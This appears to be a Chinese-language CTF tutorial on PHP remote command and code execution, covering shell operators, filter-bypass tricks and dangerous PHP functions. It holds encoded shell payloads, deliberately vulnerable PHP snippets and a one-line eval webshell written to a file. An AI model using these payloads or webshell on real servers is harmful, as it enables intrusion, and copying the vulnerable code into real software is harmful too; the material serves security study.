RCE命令执行

通过ctfhub系统对RCE学习

RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)

分为远程命令执行ping和远程代码执行eval。

漏洞出现的原因:没有在输入口做输入处理。

我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。相当于直接操控服务器电脑的cmd命令行!高危漏洞!

具体漏洞代码:

$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理

exce(ping)远程系统命令执行

1.原理

以PHP为例,system、exec、shell_exec、passthu、popen、proc_popen等函数可以执行系统命令。当我们可以控制这些函数的参数时,就能运行我们想运行的命令,从而进行攻击。

2.利用管道符来实现

主要是win和Linux,管道符两边的语句之间可有空格,也可以没有

2.1 win和linux共有的:

| 两个都执行,但显示后面语句执行结果

以把一个命令的标准输出传送到另一个命令的标准输入中,连续的|意味着第一个命令的输出为第二个命令的输入

例如:ping 127.0.0.1|whoami,在win和linux下,只执行并显示whoami

图片[1]-RCE命令执行-NGC660 安全实验室

|| 前面出错则执行后面执行结果,否则执行前面

图片[2]-RCE命令执行-NGC660 安全实验室

& 无论真假,前后面语句都会执行

图片[3]-RCE命令执行-NGC660 安全实验室

&& 前为真,都执行,前为假都不执行

图片[4]-RCE命令执行-NGC660 安全实验室

2.2 Linux特有的

; 无论真假都执行

跟&一样

3.绕过方法

3.0 preg_match_all语法

格式preg_match_all("/......./",$ip,$m)

过滤的是"/ /"里的东西 或者有"/( )/" 表示标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用\( 和 \)。

例如:preg_match_all("/(\||\&)/", $ip, $m)

其中:|指明两项之间的一个选择,要匹配 |,请使用 \|

\(转义字符)将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如,n匹配字符 ‘n’。\n匹配换行符。序列\\‘匹配\,而\( 则匹配(

3.1 花括号

{}

在Linux bash【就是shell】中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

例如:{cat,flag}

3.2 反斜杠

/表示路径

\反斜杠(又称转义字符)是在正则等语法里面,如果后面跟的字符是正常字符,不需要转义。

也就意味着,我们可以在rce漏洞,过滤掉cat ls等命令时候,直接使用ca\t来实现绕过

例如:c\at fl\a\g.tx\t

3.3 拼接

例如:a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e

3.4 特殊变量方法

3.4.1 $1、$2和$@

第一个参数是1,第二个参数是2。而参数不存在时其值为空。所以没有赋值的话就相当于没有

例如:ca$@t fla$@g或者ca$1ca@t fla$2g或者ca$1t fl$1ag.t$1xt

3.4.2 []和{}

[…]表示匹配方括号之中的任意一个字符

{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开

例如:

cat t[a-z]st

cat t{a,b,c,d,e,f}st

3.5 单、双引号

c""at fl''ag.tx""t

3.6 内联(反引号)

将反引号内命令的输出作为输入执行

例如cat `ls`将ls显示出的文件依次用cat打开

3.7 base64

"Y2F0IGZsYWcudHh0Cg==" | base64 -d下(base64解码)需要通过echo把解码内容输出,即cat flag.txt,但要注意:这里只是把cat flag.txt文字echo出来,并没有执行

3.7.1 使用反引号包含base64解码后的命令

`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`【好像只能在shell用】

3.7.2 将base64解码后的命令通过管道符传递给bash

echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash

3.7.3 base64出文件

一般情况下php文件,cat无法打开,所以用basebase64 1.php相当于cat 1.php|base64

,输出的是base64后的

3.8 编码绕过

跟base64一样

#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag#xxd - r -p可以转换16进制,同样用户管道符之后。
#oct字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
#内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

3.9 通配符*,?

127.0.0.1|cat 1.php相当于

127.0.0.1|cat ?.php

127.0.0.1|/???/?at 1.php

127.0.0.1|/???/?at ?????

127.0.0.1|/???/?[a][t] ?''?''?''?''?

4.例如

4.1 cat绕过

  1. more,less
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
  1. ca""t
  2. ca\t
  3. 拼接a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e
  4. base64`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`或者echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash 或者base64 1.php相当于cat 1.php|base64

4.2空格绕过

过滤语句:if (!preg_match_all("/ /", $ip, $m))

在linux的shell中绕过<>,${IFS},$IFS$9,<其中${IFS}是常用的

图片[5]-RCE命令执行-NGC660 安全实验室

在URL中(或者sql注入中使用)%20(space),%09(tab)

4.3 目录分隔符(“\”)过滤

cd是进入文件夹,而cat是打开文件

绕过方法:cd flag_is_here;ls=ls \flag_is_here

4.4 管道符过滤

过滤语句:if (!preg_match_all("/(\||\&)/", $ip, $m));过滤了|,&

过滤方法:

1.用;或者其他管道符127.0.0.1;ls

2.如果已知flag文件名,则使用base64base64 1.php相当于cat 1.php|base64

,输出的是base64后的

3.假如;也被过滤的话,则用%0a(;,为url 编码),但要注意要在url上打

4.5 字符绕过(如flag、php)

利用通配符?*127.0.0.1|cat fal?.php

4.6 长度限制绕过

4.6.1 Linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行

比如一条命令cat flag可以如下表示:(换行后的那个>是系统加的提示符,不是我输入的)

图片[6]-RCE命令执行-NGC660 安全实验室
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
 fl\
ag
root@kali:~# sh cmd
this is your flag
图片[7]-RCE命令执行-NGC660 安全实验室

4.6.2 利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

root@kali:~/example# touch a
root@kali:~/example# touch b
root@kali:~/example# touch c
root@kali:~/example# ls -t
c  b  a

执行 cat flag

root@kali:~/example# > "ag"					
root@kali:~/example# > "fl\\"
root@kali:~/example# > "t \\"
root@kali:~/example# > "ca\\"
root@kali:~/example# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/example# ls -t > a
root@kali:~/example# sh a  #sh会把a里面的每行内容当作命令来执行
a: 1: a: not found
this is your flag
a: 6: flag: not found

原理就是依次创建了文件,然后通过ls -t来

图片[8]-RCE命令执行-NGC660 安全实验室

2.PHP的命令执行

函数

system():能够将字符串作为OS命令执行,自带输出功能。

<?php
if(isset($__GET('cmd'))){
	echo "<pre>";
	system($__GET['cmd']);
}else{
	echo "?cmd=ipconfig";
}
?>

exec():能够将字符串作为OS命令执行,需要输出执行结果。返回结果是有限的

<?php
if(isset($__GET['cmd'])){
	echo "<pre>";
	print exec($__GET['cmd']);
}else{
	echo "?cmd=whoami";
}
?>

shell_exec():应用的最广泛,无输出

<?php
if(isset($__GET['cmd'])){
	print  shell_exec($__GET['cmd']);
}else{
	echo "?cmd=whoami";
}
?>

passthru():有输出

<?php
if(isset($__GET['cmd'])){
	passthru($__GET['cmd']);
}else{
	echo "?cmd=whoami";
}
?>

popen():

<?php
if(isset($__GET['cmd'])){
	$cmd=$__GET['cmd'].">>1.txt";
	popen($cmd,'r');
}else{
	echo "?cmd=whoami";
}
?>

反引号“:一种语言结构,反引号“内的字符串,会被解析成OS命令

<?php
if(isset($__GET['cmd'])){
	$cmd=$__GET['cmd'];
	print(`$cmd`);
}else{
	echo "?cmd=whoami";
}
?>

3.PHP的代码执行漏洞

PHP代码执行漏洞

3.1 eval函数

eval函数把字符串作为PHP代码执行

<?php eval("$_POST[1]")?>

图片[9]-RCE命令执行-NGC660 安全实验室

2. pre_replace漏洞:

例题:ics-05【待复现】

pre_replace函数:搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

<?php
$subject = 'google 123, 456';
$pattern = '/(\w+) (\d+), (\d+)/i';#\w+:多次字符;\d+多个数字;i不区分大小写
$replacement = 'runoob ${2},$3';
echo preg_replace($pattern, $replacement, $subject);
?>

输出runoob 123,456

存在漏洞的表现:参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行(以eval函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线(\)和null字符在后面向引用替换时会被自动加上反斜线转义。

<?php
$subject="hello hack";
$pattern='/hack/e';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject)
 ?>

payload:http://127.0.0.1/test.php?name=phpinfo()

图片[10]-RCE命令执行-NGC660 安全实验室
图片[11]-RCE命令执行-NGC660 安全实验室

用抓包工具进行发送,浏览器不行

3. assert()函数执行漏洞:

assert函数检查一个断言是否为FALSE

例题:mfw(.git/泄露+assert执行)【待复现】

图片[12]-RCE命令执行-NGC660 安全实验室
图片[13]-RCE命令执行-NGC660 安全实验室

payload:?page=abc') or system("cat templates/flag.php");//

即assert变成了:

图片[14]-RCE命令执行-NGC660 安全实验室

strpos返回false。然后执行system函数。通过//将后面的.php到===false全部注释掉

图片[15]-RCE命令执行-NGC660 安全实验室

发现输出了两个flag,那是因为有两个assert,所以执行了两次system("cat templates/flag.php");

4.call_user_func函数

call_user_func函数把第一个参数作为回调函数调用

函数语法:mixed call_user_func ( callable $callback , array $param_arr )

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数

<?php call_user_func($_POST[‘fun’],$_POST[‘arg’])?>

此代码为一句话木马的变形代码。通过POST型fun参数调用了system函数,通过POST型arg参数传入net user命令,执行了system(‘net usert’),返回当前用户信息。

图片[16]-RCE命令执行-NGC660 安全实验室

5. call_user_func_array函数

call_user_func_array函数把第一个参数作为毁掉函数调用,把参数参数函数组作为回调函数

函数语法:mixed call_user_func_array ( callable $callback , array $param_arr )

call_user_func_array函数把第一个参数作为回调,把参数数组作为回调函数的参数传入。即可以传入多个参数

<?php call_user_func_array($_POST[‘fun’],$_POST[‘arg’])?>

6.create_function函数

参考资料:

create_function() 代码注入

create_function函数根据传递的参数创建匿名函数,并为该匿名函数返回唯一的名称

函数语法:string create_function(string $arges , string $code)

举例

create_function('$fname','echo $fname."Zhang"')

等同于

function fT($fname) 
{
	echo $fname."Zhang";
}

漏洞利用

源代码如下:
<?php
	$id=$_GET['id'];
	$str2='echo  test'.$id.";";	//相当于将各个字符串给拼接起来。
	echo $str2;
	echo "<br/>";
	echo "==============================";
	echo "<br/>";
	$f1 = create_function('$a',$str2);
	echo "<br/>";
	echo "==============================";
?>

---------------------------------------------------------------
如果我们没有给id传参数,那么f1以下代码。
function f1($a) {
  echo "test";
}	
---------------------------------------------------------------
如果我们给id传入参数:id=2;}phpinfo();/*
function f1($a) {
  echo test2;}phpinfo();/*;;
}
整理以下格式
function f1($a) {
  echo test2;
}
phpinfo();
/*;;
}
整个源代码相当于以下:
<?php
	$id=$_GET['id'];
	$str2='echo  test'.$id.";";	//相当于将各个字符串给拼接起来。
	echo $str2;
	echo "<br/>";
	echo "==============================";
	echo "<br/>";
	function f1($a) {
	  echo test2;
	}
	phpinfo();
	/*;;	后面这些都被注释掉了
	}
	echo "<br/>";
	echo "==============================";
?>

7. array_map函数

array_map函数为数组的每个元素应用回调函数

函数语法:array array_map(callable $callback,array $array[,array $array2…])

array_map函数返回为每个数组元素应用callback函数之后的数组。Callback函数形参的数量传给array_map函数的数组的数量必须相同

<?php
  $func=$_GET['func'];
 	$argv=$_GET['argv'];
  $array[0]=$argv;
 	array_map($func,$array);
 ?>

Payload: http://127.0.0.1/test.php?func=system&argv=net user

8.PHP可变函数

Php支持可变函数的概念:如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它。这就意味着在PHP中可以把函数名通过字符串的方式传给一个变量,然后通过此变量动态地调用函数

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar(){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

 $func='foo';
 $func();
 $func='bar';
 $func('test');
 $func='echoit';
 $func('test')
 ?>
图片[17]-RCE命令执行-NGC660 安全实验室

虽然PHP可变函数给开发人员带来了极大地便利,但同时也带来了极大地安全隐患,如果函数的名称可以被用户控制,而且没有做好过滤,就可能会造成恶意函数的执行。

Php可变函数漏洞示例代码:

<?php 
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar($arg=''){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

$func=$_REQUEST['func'];
$string=$_REQUEST['string'];
echo $func($string);

 ?>

pyload:

图片[18]-RCE命令执行-NGC660 安全实验室

本文作者:跋涉, 转载请注明来自FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞8赏点小钱 分享